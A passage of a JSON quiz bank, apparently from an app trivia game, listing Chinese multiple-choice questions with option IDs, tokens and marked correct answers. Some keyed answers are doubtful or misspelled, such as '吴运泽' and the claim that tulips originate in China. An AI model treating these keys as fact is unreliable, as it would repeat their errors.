04:49:57","status":"1"},{"questionId":"6901438996","questionIndex":"1","questionStem":"哪个名医年岁最大?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WFVcupu2adGQ3J63AA\",\"optionDesc\":\"华佗\"},{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WneKQzDKDSPCeeayWw\",\"optionDesc\":\"孙思邈\"},{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0Wct_1SwpvtWgWRcymQ\",\"optionDesc\":\"扁鹊\"}]","questionToken":"Lc0Sx0BQhzesSxyxaQNvCOURdACADBLwUS-Y7Dbau0SZo_AO-AZ-Rj8RlbGI8y4kBzb_9w8dDB7MwRzcL92PM0PXZsAd5g","correct":"{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WneKQzDKDSPCeeayWw\",\"optionDesc\":\"孙思邈\"}","create_time":"27/1/2021 04:46:22","update_time":"27/1/2021 04:46:22","status":"1"},{"questionId":"6901438997","questionIndex":"1","questionStem":"“高原反应”的原因是?","options":"[{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WGwFrDvO-evV2r8\",\"optionDesc\":\"气温气压综合反映\"},{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WpLgvNoaOgs9Ro0\",\"optionDesc\":\"气压过低\"},{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WaQLW42M8iBR674\",\"optionDesc\":\"气温过低\"}]","questionToken":"Lc0Sx0BQhzesShyxaQNvD51EgwsLfOs32f-Ti90-e6Ssfy0J1ZJTJNNGz3YAR_SljUn8a--w9Bhs1KJ05Hw1hujhSV6oFQ","correct":"{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WpLgvNoaOgs9Ro0\",\"optionDesc\":\"气压过低\"}","create_time":"27/1/2021 04:40:56","update_time":"27/1/2021 04:40:56","status":"1"},{"questionId":"6901438998","questionIndex":"5","questionStem":"体温计的最高温度?","options":"[{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WDzKlQOWU82pgdKK\",\"optionDesc\":\"40摄氏度\"},{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WTS0x4wAGhP2svzc\",\"optionDesc\":\"45摄氏度\"},{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WqpiK50kV48e9v6-\",\"optionDesc\":\"42摄氏度\"}]","questionToken":"Lc0Sx0BQhzesRRy1aQNvDxuHRiYPB4ReIMQYrP0XNlfP9wr7gh7dL04TlcAA6gDj1mo-HjSkpx-NMLN4b90Hn5rXT0Vmew","correct":"{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WqpiK50kV48e9v6-\",\"optionDesc\":\"42摄氏度\"}","create_time":"27/1/2021 04:48:30","update_time":"27/1/2021 04:48:30","status":"1"},{"questionId":"6901438999","questionIndex":"1","questionStem":"“三明治”原产地?","options":"[{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WdOIEh8eHL5r74U\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WmVqPVPNJn4oGb8\",\"optionDesc\":\"英国\"},{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WEluS93_8tUfhZU\",\"optionDesc\":\"美国\"}]","questionToken":"Lc0Sx0BQhzesRByxaQNvCBHgUMXnOrVW7L-n1NiMZP3v24tu_X-sBRN3IXLiebxz9JsDnbN02WoZlgIaXbrxH2bSInH7ag","correct":"{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WmVqPVPNJn4oGb8\",\"optionDesc\":\"英国\"}","create_time":"27/1/2021 04:40:37","update_time":"27/1/2021 04:40:37","status":"1"},{"questionId":"6901439000","questionIndex":"5","questionStem":"“夜市”最早出现在?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__dUnP1Lrai6D8Vhb\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__vkKEaRCkDNR2vaH\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__HyNWwADnqCjX8hQ\",\"optionDesc\":\"元朝\"}]","questionToken":"Lc0Sx0BQhj7tI_ZJnynkrH-0wjEiuOwezB8EeZCpmbZN0DpunhNdratVp93JUyi_Qwc_PWs7Yc-ItOSYByKZiZeHTpNzVg","correct":"{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__vkKEaRCkDNR2vaH\",\"optionDesc\":\"唐朝\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"6901439001","questionIndex":"2","questionStem":"人类最早驯养的动物?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__ULAP7FWE82RsurdgQ\",\"optionDesc\":\"鸡\"},{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__hEKFCjrIlybhFYJug\",\"optionDesc\":\"狗\"},{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__OM_PHw2wq05QcgA0w\",\"optionDesc\":\"马\"}]","questionToken":"Lc0Sx0BQhj7tIvZOnynkrIddYCL6J6MVkJFDfePCRgDHqaVhUxC6RF2Kv7nDraaqujo4-lruDfUzDMi9pd2V8kDaJtXKyA","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIvYfjGH__hEKFCjrIlybhFYJug\",\"optionDesc\":\"狗\"}","create_time":"27/1/2021 04:03:33","update_time":"27/1/2021 04:03:33","status":"1"},{"questionId":"6901439002","questionIndex":"3","questionStem":"白雪公主出自?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__QYJ0Z8-YQ-VsJo_Xw\",\"optionDesc\":\"安徒生童话\"},{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__qDrP2WcBjHJm32bUw\",\"optionDesc\":\"格林童话\"},{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__NwpnQ7APdQNWz612Q\",\"optionDesc\":\"小神龙俱乐部\"}]","questionToken":"Lc0Sx0BQhj7tIfZPnynkq-RC0nmPYyrXRAytCEkinR0-CkoUAAJTLt9LOr-ZDd9XDeBnNVAOoC55Cg3vbUoV2G-i6Oi57Q","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIfYfjGH__qDrP2WcBjHJm32bUw\",\"optionDesc\":\"格林童话\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"6901439003","questionIndex":"1","questionStem":"龙虾的血液是什么颜色?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__aDjOInnMJ8bAD0\",\"optionDesc\":\"红色\"},{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__CDTPPIF2Zietjs\",\"optionDesc\":\"白色\"},{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__okJNFOMTsoQEvg\",\"optionDesc\":\"蓝色\"}]","questionToken":"Lc0Sx0BQhj7tIPZNnynkq9Hwg9NKAUAeCrifPgKbmg7ubozKiArYNfmXEZurVXDb5OgRfCqw84tRTwDHiOGVW49JyveO_Q","correct":"{\"optionId\":\"Lc0Sx0BQhj7tIPYfjGH__okJNFOMTsoQEvg\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:39:21","update_time":"27/1/2021 04:39:21","status":"1"},{"questionId":"6901439004","questionIndex":"4","questionStem":"格林童话作者是几个人?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__HGLCY-LpOBcKL0e\",\"optionDesc\":\"一个\"},{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__vXs7W9zNNcczQkM\",\"optionDesc\":\"两个\"},{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__YbBcZr0AjrT5a35\",\"optionDesc\":\"三个\"}]","questionToken":"Lc0Sx0BQhj7tJ_ZInynkrANMvof5lD97EgcqAKs-bdsWVVy5GdCERfFlFIzDeR-hA6dGg8HZKd-OGDsy27lLna11_uvkJQ","correct":"{\"optionId\":\"Lc0Sx0BQhj7tJ_YfjGH__vXs7W9zNNcczQkM\",\"optionDesc\":\"两个\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"6901439005","questionIndex":"5","questionStem":"“中国的保尔柯察金”是谁?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__vz2NIutjbztYQY\",\"optionDesc\":\"吴运泽\"},{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__VKaPkSd2Lodm_0\",\"optionDesc\":\"张海迪\"},{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__A0EjOOtPijZbP0\",\"optionDesc\":\"梁思成\"}]","questionToken":"Lc0Sx0BQhj7tJvZJnynkrAhft9PzU8jo2RggQQMFaiHEk2ihxbWR9NFenpLpefcDK-mTIslGHaopwP1Rb17A7s01tyjCZQ","correct":"{\"optionId\":\"Lc0Sx0BQhj7tJvYfjGH__vz2NIutjbztYQY\",\"optionDesc\":\"吴运泽\"}","create_time":"27/1/2021 04:54:09","update_time":"27/1/2021 04:54:09","status":"1"},{"questionId":"8701437593","questionIndex":"4","questionStem":"三国中“三英战吕布”没有谁?","options":"[{\"optionId\":\"I8MSx0BQiDvmQ0alnc34k0fn1AJ3UdX80bPZ\",\"optionDesc\":\"刘备\"},{\"optionId\":\"I8MSx0BQiDvmQ0alnc34kWyEfH22i8Hey4ep\",\"optionDesc\":\"赵云\"},{\"optionId\":\"I8MSx0BQiDvmQ0alnc34klk4nhxP6U0p0vxz\",\"optionDesc\":\"关羽\"}]","questionToken":"I8MSx0BQiDvmQ0byjoXjxERaL63twr-ldkjzkBTzxoi2mCeR558FjDwAYS5xRVmSD29BgHxUkhBKBBcy7dayBlP1S68zWg","correct":"{\"optionId\":\"I8MSx0BQiDvmQ0alnc34kWyEfH22i8Hey4ep\",\"optionDesc\":\"赵云\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"8701437594","questionIndex":"5","questionStem":"交响乐”通常有几个乐章?","options":"[{\"optionId\":\"I8MSx0BQiDvmREalnc34ky9ieoQvOJa2rZc\",\"optionDesc\":\"三个\"},{\"optionId\":\"I8MSx0BQiDvmREalnc34kYhFOTxC8w0XC_I\",\"optionDesc\":\"四个\"},{\"optionId\":\"I8MSx0BQiDvmREalnc34kjMg1ysASAWLLEc\",\"optionDesc\":\"五个\"}]","questionToken":"I8MSx0BQiDvmREbzjoXjw_pl6ln6_ebywwHMeHkAEPt66mur1Jjry4LHevBJZom4JJkfs6eTP-pViAQZutrEDplkHpASSg","correct":"{\"optionId\":\"I8MSx0BQiDvmREalnc34kYhFOTxC8w0XC_I\",\"optionDesc\":\"四个\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"8701437595","questionIndex":"2","questionStem":"人体最敏感的部位是?","options":"[{\"optionId\":\"I8MSx0BQiDvmRUalnc34kumNMcvdqv89aEgu\",\"optionDesc\":\"指尖\"},{\"optionId\":\"I8MSx0BQiDvmRUalnc34k6KA1cXJKEjbllJo\",\"optionDesc\":\"耳垂儿\"},{\"optionId\":\"I8MSx0BQiDvmRUalnc34kYZLJNGTfRUKpqqb\",\"optionDesc\":\"舌尖\"}]","questionToken":"I8MSx0BQiDvmRUb0joXjww6qxQMIuLDR92ZwcHnSsm60tfuEKfJggwQhTWptExR3_5gDVm2NFEwc2uTargz7cGZkmzz16Q","correct":"{\"optionId\":\"I8MSx0BQiDvmRUalnc34kYZLJNGTfRUKpqqb\",\"optionDesc\":\"舌尖\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437597","questionIndex":"3","questionStem":"“郁金香”的原产地是?","options":"[{\"optionId\":\"I8MSx0BQiDvmR0alnc34kYCDOi9SXMQcdQId\",\"optionDesc\":\"中国\"},{\"optionId\":\"I8MSx0BQiDvmR0alnc34kvtLPjidKCshM8Sn\",\"optionDesc\":\"芬兰\"},{\"optionId\":\"I8MSx0BQiDvmR0alnc34k4eqjr4iY-WdjcVf\",\"optionDesc\":\"荷兰\"}]","questionToken":"I8MSx0BQiDvmR0b1joXjxI0c4n-4oj_JIQTlDSBlomqL8LNgFDVf-IXIfrpRgoy4ikX3I8-MqaDVHGTGp24F-9-p443R-g","correct":"{\"optionId\":\"I8MSx0BQiDvmR0alnc34kYCDOi9SXMQcdQId\",\"optionDesc\":\"中国\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437598","questionIndex":"3","questionStem":"“沃尔沃”汽车原产地?","options":"[{\"optionId\":\"I8MSx0BQiDvmSEalnc34kSy9q1SuktEJCEHagw\",\"optionDesc\":\"瑞典\"},{\"optionId\":\"I8MSx0BQiDvmSEalnc34knA0tzWJIZRQaKCCuA\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"I8MSx0BQiDvmSEalnc34k5PFa7EKFSqWhkhgkg\",\"optionDesc\":\"德国\"}]","questionToken":"I8MSx0BQiDvmSEb1joXjxFQ5tRhIyhUYf059yiM_-sgqkPliRuYiLOknF_Y3VswzvSqHMeIRIOlgTXX6_7IhTgqBcWGcnQ","correct":"{\"optionId\":\"I8MSx0BQiDvmSEalnc34kSy9q1SuktEJCEHagw\",\"optionDesc\":\"瑞典\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437702","questionIndex":"2","questionStem":"“音乐”最早出现在?","options":"[{\"optionId\":\"I8MSx0BQiDmDn5w5qe8WhrGFLnArFTlqeOiC\",\"optionDesc\":\"《乐府诗集》\"},{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Whauas3nVSl4liSrI\",\"optionDesc\":\"《吕氏春秋》\"},{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Wh0e1C9sMQO3Im_OX\",\"optionDesc\":\"《诗经》\"}]","questionToken":"I8MSx0BQiDmDn5xouqcN0NDdKWExJlmWSFCkbzCHATdK5b3anTYgT455OEeJUR6lT0Y2fpY5BCnDMmULH9vzZd7O0NNenQ","correct":"{\"optionId\":\"I8MSx0BQiDmDn5w5qe8Whauas3nVSl4liSrI\",\"optionDesc\":\"《吕氏春秋》\"}","create_time":"2/2/2021 16:48:54","update_time":"2/2/2021 16:48:54","status":"1"},{"questionId":"8701437703","questionIndex":"5","questionStem":"美国的国球是?","options":"[{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whc3EC5v0-c4sixMXWQ\",\"optionDesc\":\"棒球\"},{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Wh5e5mIsxiHf7KzBdEw\",\"optionDesc\":\"高尔夫球\"},{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whusre0rKZYzbySP5BQ\",\"optionDesc\":\"橄榄球\"}]","questionToken":"I8MSx0BQiDmDnpxvuqcN0LbsZ_ThPOKnhxkK5T15L9hLj_qxpianPHEOvdJuP4-e2kizE4tLcR0HzTqQUa5gYpy4w0rcGQ","correct":"{\"optionId\":\"I8MSx0BQiDmDnpw5qe8Whc3EC5v0-c4sixMXWQ\",\"optionDesc\":\"棒球\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437704","questionIndex":"4","questionStem":"京剧起源于?","options":"[{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhooAPm5f3hMFT-Kx\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"I8MSx0BQiDmDmZw5qe8Wh_ILbnG6_knNm8_b\",\"optionDesc\":\"明朝\"},{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhS_tqubOHCF40Ync\",\"optionDesc\":\"清朝\"}]","questionToken":"I8MSx0BQiDmDmZxuuqcN15U8gJUSJ47Y2SQee50LDI1BlimkCK0FBxSZstsPVaJE3jSvXXDrRZOCRVYxW5KGW_ghx3ZKcg","correct":"{\"optionId\":\"I8MSx0BQiDmDmZw5qe8WhS_tqubOHCF40Ync\",\"optionDesc\":\"清朝\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"8701437705","questionIndex":"4","questionStem":"慈禧曾几次垂帘听政?","options":"[{\"optionId\":\"I8MSx0BQiDmDmJw5qe8WhcjRrcS0N04HnPt2HA\",\"optionDesc\":\"三次\"},{\"optionId\":\"I8MSx0BQiDmDmJw5qe8Wh8_grf0o7a4Uu_BGlQ\",\"optionDesc\":\"两次\"},{\"optionId\":\"I8MSx0BQiDmDmJw5qe8Whkei5cCWowfPO03w3Q\",\"optionDesc\":\"四次\"}]","questionToken":"I8MSx0BQiDmDmJxuuqcN13yKU8iswZO113BOe3ciQDwOKBBskpr5goR17MUpNmSYnCJ-vRc4tFPXWfcuiVRDy4C_1sH7AA","correct":"{\"optionId\":\"I8MSx0BQiDmDmJw5qe8WhcjRrcS0N04HnPt2HA\",\"optionDesc\":\"三次\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8701437706","questionIndex":"4","questionStem":"“愚人节”起源于?","options":"[{\"optionId\":\"I8MSx0BQiDmDm5w5qe8WhshAg0vAHpLDDZtRag\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Wh-hU7G6OxAH_UMN9Dg\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Whe_AG8lRKG0EcLlyrA\",\"optionDesc\":\"法国\"}]","questionToken":"I8MSx0BQiDmDm5xuuqcN0NEs3qcRgyQ0e9OFd4yNgXhAuXYwFm3EK3qi3oBjbjaXC3z5bl6yyAz-OdpwCYLVb9NUREtkDw","correct":"{\"optionId\":\"I8MSx0BQiDmDm5w5qe8Whe_AG8lRKG0EcLlyrA\",\"optionDesc\":\"法国\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437707","questionIndex":"2","questionStem":"电视机是谁发明的?","options":"[{\"optionId\":\"I8MSx0BQiDmDmpw5qe8WhSuki-JeudFojsR0\",\"optionDesc\":\"贝尔德\"},{\"optionId\":\"I8MSx0BQiDmDmpw5qe8Whq7JY-awkFn03-CX\",\"optionDesc\":\"爱迪生\"},{\"optionId\":\"I8MSx0BQiDmDmpw5qe8Wh8bx6SYnOzETi4-c\",\"optionDesc\":\"贝尔\"}]","questionToken":"I8MSx0BQiDmDmpxouqcN126_UytS7u6oOrsBiBJ-OsEMrgF4xxwbjs1yRP8YBejnI8BupAsq2pTlxrwLmcLLd_ZxSLHcQA","correct":"{\"optionId\":\"I8MSx0BQiDmDmpw5qe8WhSuki-JeudFojsR0\",\"optionDesc\":\"贝尔德\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437709","questionIndex":"2","questionStem":"哪种糖纯度最高?","options":"[{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhgxZn_vlRqCJ4R0\",\"optionDesc\":\"白糖\"},{\"optionId\":\"I8MSx0BQiDmDlJw5qe8Wh0yKzdPGI7d4CrA\",\"optionDesc\":\"红糖\"},{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhVvhpfjrDTyXZY8\",\"optionDesc\":\"冰糖\"}]","questionToken":"I8MSx0BQiDmDlJxouqcN0Pyt_r6RLF3yLZlkcZ84yAd7R1sohSisahn1UOQRam3XKK-ZvWcAQbsYMcgduO56hLlPI-UDPA","correct":"{\"optionId\":\"I8MSx0BQiDmDlJw5qe8WhVvhpfjrDTyXZY8\",\"optionDesc\":\"冰糖\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437710","questionIndex":"5","questionStem":"“都柏林”在哪个国家?","options":"[{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhbJKZ_O33nACPKU\",\"optionDesc\":\"爱尔兰\"},{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhjO7qezbM0WuMmI\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmCnZw5qe8Whw5DJoiZ-0GvbSc\",\"optionDesc\":\"英格兰\"}]","questionToken":"I8MSx0BQiDmCnZxvuqcN0FZCR2cAsc19XisYK-YROSCShsks72226v6exKe4f53TcH54sI902Eanm0gNZ2dJ6Fp8ELd1wg","correct":"{\"optionId\":\"I8MSx0BQiDmCnZw5qe8WhbJKZ_O33nACPKU\",\"optionDesc\":\"爱尔兰\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437713","questionIndex":"5","questionStem":"汽车中安全袋里的气体是?","options":"[{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhXWMzXVBMm1o_8bH\",\"optionDesc\":\"氮气\"},{\"optionId\":\"I8MSx0BQiDmCnpw5qe8Wh7VJUloiz8Daij-i\",\"optionDesc\":\"氙气\"},{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhjZG17DtxvPIlSx8\",\"optionDesc\":\"氖气\"}]","questionToken":"I8MSx0BQiDmCnpxvuqcN0GhECj4t7CyRx0h3eXZqP6jL4ZU-t4Cgj-zhC-Ska3BH9mujRl-yl04hHANcNSA-amljCs_vJA","correct":"{\"optionId\":\"I8MSx0BQiDmCnpw5qe8WhXWMzXVBMm1o_8bH\",\"optionDesc\":\"氮气\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437714","questionIndex":"4","questionStem":"象脚鼓是哪个民族乐器?","options":"[{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhZEXzpFloWDSGho\",\"optionDesc\":\"傣族\"},{\"optionId\":\"I8MSx0BQiDmCmZw5qe8Why5-wwf60pWOJBk\",\"optionDesc\":\"朝鲜族\"},{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhpqsziUhReP2Q64\",\"optionDesc\":\"苗族\"}]","questionToken":"I8MSx0BQiDmCmZxuuqcN0HOSbwRbRX1zxY_uIgQLC1W4KGGGFnE-11GdGOUQ6ZoWKnTAexwZVzZPvVeweStEPehZ_29OlA","correct":"{\"optionId\":\"I8MSx0BQiDmCmZw5qe8WhZEXzpFloWDSGho\",\"optionDesc\":\"傣族\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437716","questionIndex":"2","questionStem":"蚊子最怕什么味道?","options":"[{\"optionId\":\"I8MSx0BQiDmCm5w5qe8Wh3fnmjWmW4aJ5A\",\"optionDesc\":\"酒味\"},{\"optionId\":\"I8MSx0BQiDmCm5w5qe8Whr_DV9i1cv4VHQ\",\"optionDesc\":\"汗味\"},{\"optionId\":\"I8MSx0BQiDmCm5w5qe8WhXvUHdpgJMr00w\",\"optionDesc\":\"漂白粉味\"}]","questionToken":"I8MSx0BQiDmCm5xouqcN0Awuc0QATzfzrEp7BAluzGJyetXq8PDI6D7RhwMeV2qDqLwI9Gh2ZrrJ2xnHpRT0QEKDH9vxWg","correct":"{\"optionId\":\"I8MSx0BQiDmCm5w5qe8WhXvUHdpgJMr00w\",\"optionDesc\":\"漂白粉味\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437717","questionIndex":"2","questionStem":"古代“如意”最早指?","options":"[{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhotMg_WtK2D0sdUT\",\"optionDesc\":\"祈福物\"},{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhWK-6guLNParQS5B\",\"optionDesc\":\"痒痒挠\"},{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhxNITOqnJXqPbhQ8\",\"optionDesc\":\"美容用具\"}]","questionToken":"I8MSx0BQiDmCmpxouqcN0H7KmJKsnjCZj4rVs-5tqCg_gscJxFiOtJcp8SOyOIzWgj5xMrVsUhr1DO2KZjBcKhJ9IiGTwQ","correct":"{\"optionId\":\"I8MSx0BQiDmCmpw5qe8WhWK-6guLNParQS5B\",\"optionDesc\":\"痒痒挠\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437718","questionIndex":"1","questionStem":"埃及的新年在什么季节?","options":"[{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhqRtPcG5Yocwxz_3MA\",\"optionDesc\":\"冬季\"},{\"optionId\":\"I8MSx0BQiDmClZw5qe8Wh-3KipJIUEMcR4kUuQ\",\"optionDesc\":\"春季\"},{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhWIdVuM6FAmr61JSvg\",\"optionDesc\":\"秋季\"}]","questionToken":"I8MSx0BQiDmClZxruqcN0OAq1hUOboLawK33o1g2ReSgMKWTTEbI_G97odeWNpVDK-mmsgq6lorE2zC0Jm91g6bhaETWjA","correct":"{\"optionId\":\"I8MSx0BQiDmClZw5qe8WhWIdVuM6FAmr61JSvg\",\"optionDesc\":\"秋季\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437719","questionIndex":"1","questionStem":"“商人”的“商”最早指的是?","options":"[{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhWrgIYaZ8v2bkGJ5OQ\",\"optionDesc\":\"商朝\"},{\"optionId\":\"I8MSx0BQiDmClJw5qe8Wh4_yT81YdccttRuqag\",\"optionDesc\":\"商量\"},{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhuC-NMPJj0UGLyNuZQ\",\"optionDesc\":\"钱币\"}]","questionToken":"I8MSx0BQiDmClJxruqcN1_Wmvo7E6tDwyBhAtyHdCAfwieuDYoFzbKWrtVY1lnOfS-LpnnIL-XgM3E1dlSwyMYfMXDFHXQ","correct":"{\"optionId\":\"I8MSx0BQiDmClJw5qe8WhWrgIYaZ8v2bkGJ5OQ\",\"optionDesc\":\"商朝\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437720","questionIndex":"5","questionStem":"“味精”是哪国人发明的?","options":"[{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whl3OduDU3znp_A\",\"optionDesc\":\"韩国\"},{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Wh6k6QIRdggK9yg\",\"optionDesc\":\"中国\"},{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whfa_d_q-Bd2Crg\",\"optionDesc\":\"日本\"}]","questionToken":"I8MSx0BQiDmBnZxvuqcN1xTSiNuzTew1Hn9pe6zyMWd0vgXgC02OUu2XOktYjABb8LF0niQvrBBPoqS0LDsc1aLhsITedw","correct":"{\"optionId\":\"I8MSx0BQiDmBnZw5qe8Whfa_d_q-Bd2Crg\",\"optionDesc\":\"日本\"}","create_time":"2/2/2021 16:48:17","update_time":"2/2/2021 16:48:17","status":"1"},{"questionId":"8701437721","questionIndex":"1","questionStem":"哪个名医年岁最大?","options":"[{\"optionId\":\"I8MSx0BQiDmBnJw5qe8Whpq64LQ1ET1r1rHo_w\",\"optionDesc\":\"扁鹊\"},{\"optionId\":\"I8MSx0BQiDmBnJw5qe8WhZ62FdQzqyz-AX8qBw\",\"optionDesc\":\"孙思邈\"},{\"optionId\":\"I8MSx0BQiDmBnJw5qe8Wh1D7wLAduYrjJHkkGg\",\"optionDesc\":\"华佗\"}]","questionToken":"I8MSx0BQiDmBnJxruqcN0HYfnXp9v6kY_kM1lj0Bt5Yf_CWlsPV9b7zRnXZfm8x0jEnePudrpHuRJRKgmkDlScmqPq3qSA","correct":"{\"optionId\":\"I8MSx0BQiDmBnJw5qe8WhZ62FdQzqyz-AX8qBw\",\"optionDesc\":\"孙思邈\"}","create_time":"2/2/2021 16:48:22","update_time":"2/2/2021 16:48:22","status":"1"},{"questionId":"8701437722","questionIndex":"5","questionStem":"“高原反应”的原因是?","options":"[{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhTiLyK7Rlfts2Jk\",\"optionDesc\":\"气压过低\"},{\"optionId\":\"I8MSx0BQiDmBn5w5qe8Wh445-ZmiB8YtMog\",\"optionDesc\":\"气温气压综合反映\"},{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhtYJscl0zuTX2BU\",\"optionDesc\":\"气温过低\"}]","questionToken":"I8MSx0BQiDmBn5xvuqcN0BLOJu1Ww6hw2lboq7VTnk_E7G7XWX6gZtd22VQ0UuuqAPVA-JuPvca11GclODZFe2rXEkvj9g","correct":"{\"optionId\":\"I8MSx0BQiDmBn5w5qe8WhTiLyK7Rlfts2Jk\",\"optionDesc\":\"气压过低\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437723","questionIndex":"3","questionStem":"体温计的最高温度?","options":"[{\"optionId\":\"I8MSx0BQiDmBnpw5qe8WhXBpL-_JSplNwo00\",\"optionDesc\":\"42摄氏度\"},{\"optionId\":\"I8MSx0BQiDmBnpw5qe8Whu6ayYlZy0ykb5E-\",\"optionDesc\":\"45摄氏度\"},{\"optionId\":\"I8MSx0BQiDmBnpw5qe8Wh7v8k7AQQ0o1DVze\",\"optionDesc\":\"40摄氏度\"}]","questionToken":"I8MSx0BQiDmBnpxpuqcN15s3geeG_GEB4T_nqo3PFDmZtW4L_m6UXN5YLBpCoI44s_rD-uzrzmcT0qa0XPb_L8OrJTZ4ZA","correct":"{\"optionId\":\"I8MSx0BQiDmBnpw5qe8WhXBpL-_JSplNwo00\",\"optionDesc\":\"42摄氏度\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 